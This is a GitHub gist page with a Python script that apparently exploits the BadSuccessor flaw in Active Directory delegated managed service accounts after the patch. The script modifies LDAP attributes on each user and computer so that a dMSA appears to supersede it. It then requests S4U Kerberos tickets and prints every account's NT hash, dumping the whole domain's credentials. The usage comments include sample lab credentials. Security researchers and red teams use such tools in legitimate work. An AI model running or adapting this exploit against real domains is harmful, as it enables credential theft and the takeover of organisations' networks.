Created
August 31, 2025 17:54
-
-
Save ThePirateWhoSmellsOfSunflowers/07a628bb34b30d77a4869925e5f5f050 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import argparse | |
import datetime | |
import logging | |
import os | |
import random | |
import struct | |
import sys | |
from binascii import hexlify, unhexlify | |
from six import ensure_binary | |
from pyasn1.codec.der import decoder, encoder | |
from pyasn1.type.univ import noValue | |
from pyasn1.type import tag | |
from impacket.krb5 import constants | |
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \ | |
Ticket as TicketAsn1, EncTGSRepPart, PA_PAC_OPTIONS, EncTicketPart, S4UUserID, PA_S4U_X509_USER, KERB_DMSA_KEY_PACKAGE | |
from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, _AES256CTS, Enctype, string_to_key, _get_checksum_profile, Cksumtype | |
from impacket.krb5.constants import TicketFlags, encodeFlags, ApplicationTagNumbers | |
from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive | |
from impacket.krb5.types import Principal, KerberosTime, Ticket | |
from impacket.winregistry import hexdump | |
from ldap3 import MODIFY_REPLACE, MODIFY_DELETE | |
from pywerview.functions.net import NetRequester | |
# This script retrieves NT hashes of all domain users and computers using a dMSA | |
# Unlike the original script, this one needs privileged account. | |
# See https://www.akamai.com/blog/security-research/badsuccessor-is-dead-analyzing-badsuccessor-patch for more info | |
# and https://x.com/YuG0rd/status/1960819000084193399 | |
# | |
# Based on my previous script: https://gist.github.com/ThePirateWhoSmellsOfSunflowers/912c5728bde1a7eba4bc99ff06b3f73c | |
# | |
# Usage: | |
# python badsuccessordumper_postpatch.py -u daenerys.targaryen --hashes $NTHASH --aes $AESKEY -d essos.local -t 192.168.56.24 -i 'dmsa_essos$' | |
# python badsuccessordumper_postpatch.py -u daenerys.targaryen -p 'BurnThemAll!' -d essos.local -t 192.168.56.24 -i dmsa_essos$ | |
# python badsuccessordumper_postpatch.py -u daenerys.targaryen --hashes 34534854d33b398b66684072224bb47a -d essos.local -t 192.168.56.24 -i dmsa_essos$ | |
# The last one is prone to error while asking for the TGT if RC4 is not suported by the DC | |
# | |
# Not tested in prod, use at your own risk | |
# | |
# @lowercase_drm / ThePirateWhoSmellsOfSunflowers | |
def doDMSA(tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, domain, impersonate): | |
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] | |
# Extract the ticket from the TGT | |
ticket = Ticket() | |
ticket.from_asn1(decodedTGT['ticket']) | |
apReq = AP_REQ() | |
apReq['pvno'] = 5 | |
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) | |
opts = list() | |
apReq['ap-options'] = constants.encodeFlags(opts) | |
seq_set(apReq, 'ticket', ticket.to_asn1) | |
authenticator = Authenticator() | |
authenticator['authenticator-vno'] = 5 | |
authenticator['crealm'] = str(decodedTGT['crealm']) | |
clientName = Principal() | |
clientName.from_asn1(decodedTGT, 'crealm', 'cname') | |
seq_set(authenticator, 'cname', clientName.components_to_asn1) | |
now = datetime.datetime.now(datetime.timezone.utc) | |
authenticator['cusec'] = now.microsecond | |
authenticator['ctime'] = KerberosTime.to_asn1(now) | |
encodedAuthenticator = encoder.encode(authenticator) | |
# Key Usage 7 | |
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes | |
# TGS authenticator subkey), encrypted with the TGS session | |
# key (Section 5.5.1) | |
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) | |
apReq['authenticator'] = noValue | |
apReq['authenticator']['etype'] = cipher.enctype | |
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator | |
encodedApReq = encoder.encode(apReq) | |
tgsReq = TGS_REQ() | |
tgsReq['pvno'] = 5 | |
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) | |
tgsReq['padata'] = noValue | |
tgsReq['padata'][0] = noValue | |
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) | |
tgsReq['padata'][0]['padata-value'] = encodedApReq | |
# In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service | |
# requests a service ticket to itself on behalf of a user. The user is | |
# identified to the KDC by the user's name and realm. | |
clientName = Principal(impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value) | |
paencoded = None | |
padatatype = None | |
dmsa = True | |
nonce_value = random.getrandbits(31) | |
dmsa_flags = [2, 4] # UNCONDITIONAL_DELEGATION (bit 2) | SIGN_REPLY (bit 4) | |
encoded_flags = encodeFlags(dmsa_flags) | |
s4uID = S4UUserID() | |
s4uID.setComponentByName('nonce', nonce_value) | |
seq_set(s4uID, 'cname', clientName.components_to_asn1) | |
s4uID.setComponentByName('crealm', domain) | |
s4uID.setComponentByName('options', encoded_flags) | |
encoded_s4uid = encoder.encode(s4uID) | |
checksum_profile = _get_checksum_profile(Cksumtype.SHA1_AES256) | |
checkSum = checksum_profile.checksum( | |
sessionKey, | |
ApplicationTagNumbers.EncTGSRepPart.value, | |
encoded_s4uid | |
) | |
s4uID_tagged = S4UUserID().subtype(explicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 0)) | |
s4uID_tagged.setComponentByName('nonce', nonce_value) | |
seq_set(s4uID_tagged, 'cname', clientName.components_to_asn1) | |
s4uID_tagged.setComponentByName('crealm', domain) | |
s4uID_tagged.setComponentByName('options', encoded_flags) | |
pa_s4u_x509_user = PA_S4U_X509_USER() | |
pa_s4u_x509_user.setComponentByName('user-id', s4uID_tagged) | |
pa_s4u_x509_user['checksum'] = noValue | |
pa_s4u_x509_user['checksum']['cksumtype'] = Cksumtype.SHA1_AES256 | |
pa_s4u_x509_user['checksum']['checksum'] = checkSum | |
padatatype = int(constants.PreAuthenticationDataTypes.PA_S4U_X509_USER.value) | |
paencoded = encoder.encode(pa_s4u_x509_user) | |
tgsReq['padata'][1] = noValue | |
tgsReq['padata'][1]['padata-type'] = padatatype | |
tgsReq['padata'][1]['padata-value'] = paencoded | |
reqBody = seq_set(tgsReq, 'req-body') | |
opts = list() | |
opts.append(constants.KDCOptions.forwardable.value) | |
opts.append(constants.KDCOptions.renewable.value) | |
opts.append(constants.KDCOptions.canonicalize.value) | |
reqBody['kdc-options'] = constants.encodeFlags(opts) | |
serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_SRV_INST.value) | |
seq_set(reqBody, 'sname', serverName.components_to_asn1) | |
reqBody['realm'] = str(decodedTGT['crealm']) | |
now = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=1) | |
reqBody['till'] = KerberosTime.to_asn1(now) | |
reqBody['nonce'] = random.getrandbits(31) | |
seq_set_iter(reqBody, 'etype', | |
(int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value))) | |
message = encoder.encode(tgsReq) | |
r = sendReceive(message, domain, kdcHost) | |
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] | |
try: | |
# Decrypt TGS-REP enc-part (Key Usage 8 - TGS_REP_EP_SESSION_KEY) | |
cipher = _enctype_table[int(tgs['enc-part']['etype'])] | |
plainText = cipher.decrypt(sessionKey, 8, tgs['enc-part']['cipher']) | |
encTgsRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] | |
if 'encrypted_pa_data' not in encTgsRepPart or not encTgsRepPart['encrypted_pa_data']: | |
logging.debug('No encrypted_pa_data found - DMSA key package not present') | |
return | |
for padata_entry in encTgsRepPart['encrypted_pa_data']: | |
padata_type = int(padata_entry['padata-type']) | |
logging.debug('Found encrypted padata type: %d (0x%x)' % (padata_type, padata_type)) | |
if padata_type == constants.PreAuthenticationDataTypes.KERB_DMSA_KEY_PACKAGE.value: | |
dmsa_key_package = decoder.decode( | |
padata_entry['padata-value'], | |
asn1Spec=KERB_DMSA_KEY_PACKAGE() | |
)[0] | |
dmsa_key_package.prettyPrint() | |
logging.info('Current keys:') | |
for key in dmsa_key_package['current-keys']: | |
key_type = int(key['keytype']) | |
key_value = bytes(key['keyvalue']) | |
type_name = constants.EncryptionTypes(key_type) | |
hex_key = hexlify(key_value).decode('utf-8') | |
logging.info('%s:%s' % (type_name, hex_key)) | |
logging.info('Previous keys:') | |
previous_keys = [] | |
for key in dmsa_key_package['previous-keys']: | |
key_type = int(key['keytype']) | |
key_value = bytes(key['keyvalue']) | |
type_name = constants.EncryptionTypes(key_type) | |
hex_key = hexlify(key_value).decode('utf-8') | |
#print('%s:%s' % (type_name, hex_key)) | |
previous_keys.append({type_name : hex_key}) | |
except Exception as e: | |
import traceback | |
traceback.print_exc() | |
return r, None, sessionKey, None, previous_keys | |
def argparser(argv): | |
arg_parser = argparse.ArgumentParser(prog='badsuccessordumper_postpatch.py', description='\n Domain dumper based on the Bad Successor vulnerability (post patch version)') | |
arg_parser.add_argument('-u', '--user', required=True, help='User that owns the dMSA') | |
arg_parser.add_argument('-p', '--password', required=False, help='Password for the user that owns the dMSA') | |
arg_parser.add_argument('-d', '--domain', required=True, dest='domain', help='User domain') | |
arg_parser.add_argument('-i', '--impersonnate', required=True, dest='dmsa', help='dMSA samaacountname') | |
arg_parser.add_argument('--hashes', required=False, action='store', metavar = 'LMHASH:NTHASH', help='NTLM hashes, format is [LMHASH:]NTHASH') | |
arg_parser.add_argument('--aes', required=False, action='store', help='AES key') | |
arg_parser.add_argument('-t', '--dc-ip', dest='domain_controller', help='IP address of the Domain Controller to target') | |
arg_parser.add_argument('--debug', action="store_true", help='Debug mode') | |
args = arg_parser.parse_args(argv) | |
if args.hashes: | |
try: | |
args.lmhash, args.nthash = args.hashes.split(':') | |
except ValueError: | |
args.lmhash, args.nthash = 'aad3b435b51404eeaad3b435b51404ee', args.hashes | |
finally: | |
args.password = str() | |
else: | |
args.lmhash = args.nthash = str() | |
if args.password is None and not args.hashes: | |
from getpass import getpass | |
args.password = getpass('Password:') | |
return args | |
args = argparser(sys.argv[1:]) | |
host=args.domain_controller | |
user = args.user | |
domain = args.domain | |
password = args.password | |
lmhash = args.lmhash | |
nthash = args.nthash | |
dmsa = args.dmsa | |
debugprint = print if args.debug else lambda *a, **k: None | |
kdcHost = host | |
aesKey = args.aes | |
attributes = ['distinguishedname', 'samaccountname', 'objectclass'] | |
ldap_dmsa_custom_filter = '(&(objectclass=msDS-DelegatedManagedServiceAccount)(samaccountname={}))' | |
# As you may know, I love pywerview | |
netrequester = NetRequester(host, domain, user, password, lmhash, nthash) | |
ldap_dmsa_custom_filter = ldap_dmsa_custom_filter.format(dmsa) | |
dmsa_raw = netrequester.get_adobject(attributes=attributes, custom_filter=ldap_dmsa_custom_filter) | |
try: | |
dmsa_dn = dmsa_raw[0].distinguishedname | |
debugprint('[-] {0} distinguished name is {1}'.format(dmsa, dmsa_dn)) | |
except IndexError: | |
print('[x] dMSA account not found or {} is not allowed to retrieve it!'.format(user)) | |
sys.exit(1) | |
raw_user = netrequester.get_netuser(attributes=attributes) | |
raw_computer = netrequester.get_netcomputer(attributes=attributes) | |
debugprint('[-] It will dump {0} users and {1} computers'.format(len(raw_user), len(raw_computer))) | |
# Caution: PTH may raise KDC_ERR_ETYPE_NOSUPP while getting TGT | |
if aesKey: | |
lmhash = nthash = str() | |
user_principal = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) | |
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(user_principal, password, domain, unhexlify(lmhash), unhexlify(nthash), aesKey, kdcHost) | |
targets = raw_user + raw_computer | |
for target in targets: | |
# unfortunately, post-patch, we can't dump dmsa | |
if 'msDS-DelegatedManagedServiceAccount' in target.objectclass: | |
continue | |
netrequester._ldap_connection.modify(dmsa_dn, {'msDS-ManagedAccountPrecededByLink': [(MODIFY_REPLACE, [target.distinguishedname])]}) | |
# Here comes the twist. | |
# According to this link: https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/delegated-managed-service-accounts/delegated-managed-service-accounts-overview | |
# Attributes are msDS-SupersededManagedServiceAccountLink and msDS-SupersededAccountState. | |
# Turns out attributes are msDS-SupersededManagedAccountLink and msDS-SupersededServiceAccountState, ¯\_(ツ)_/¯ | |
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/c5b9ddb6-a9dd-4bdc-9a68-775fb346f21e | |
netrequester._ldap_connection.modify(target.distinguishedname, {'msDS-SupersededManagedAccountLink': [(MODIFY_REPLACE, [dmsa_dn])]}) | |
netrequester._ldap_connection.modify(target.distinguishedname, {'msDS-SupersededServiceAccountState': [(MODIFY_REPLACE, [2])]}) | |
tgs, rcipher, oldSessionKey, sessionKey, previous_keys = doDMSA(tgt, cipher, oldSessionKey, sessionKey, unhexlify(nthash), aesKey, kdcHost, domain, dmsa) | |
sessionKey = oldSessionKey | |
netrequester._ldap_connection.modify(target.distinguishedname, {'msDS-SupersededServiceAccountState': [(MODIFY_DELETE, [2])]}) | |
netrequester._ldap_connection.modify(target.distinguishedname, {'msDS-SupersededManagedAccountLink': [(MODIFY_DELETE, [dmsa_dn])]}) | |
for key in previous_keys: | |
try: | |
print("{0}\\{1}:{2}".format(domain, target.samaccountname, key[constants.EncryptionTypes.rc4_hmac])) | |
break | |
except: | |
# Computer accounts have also AES in the previous keys array, ignoring them for now | |
pass |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment